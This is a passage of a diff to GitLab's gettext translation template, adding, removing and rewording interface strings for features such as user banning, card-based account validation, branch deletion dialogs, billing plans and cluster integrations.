msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
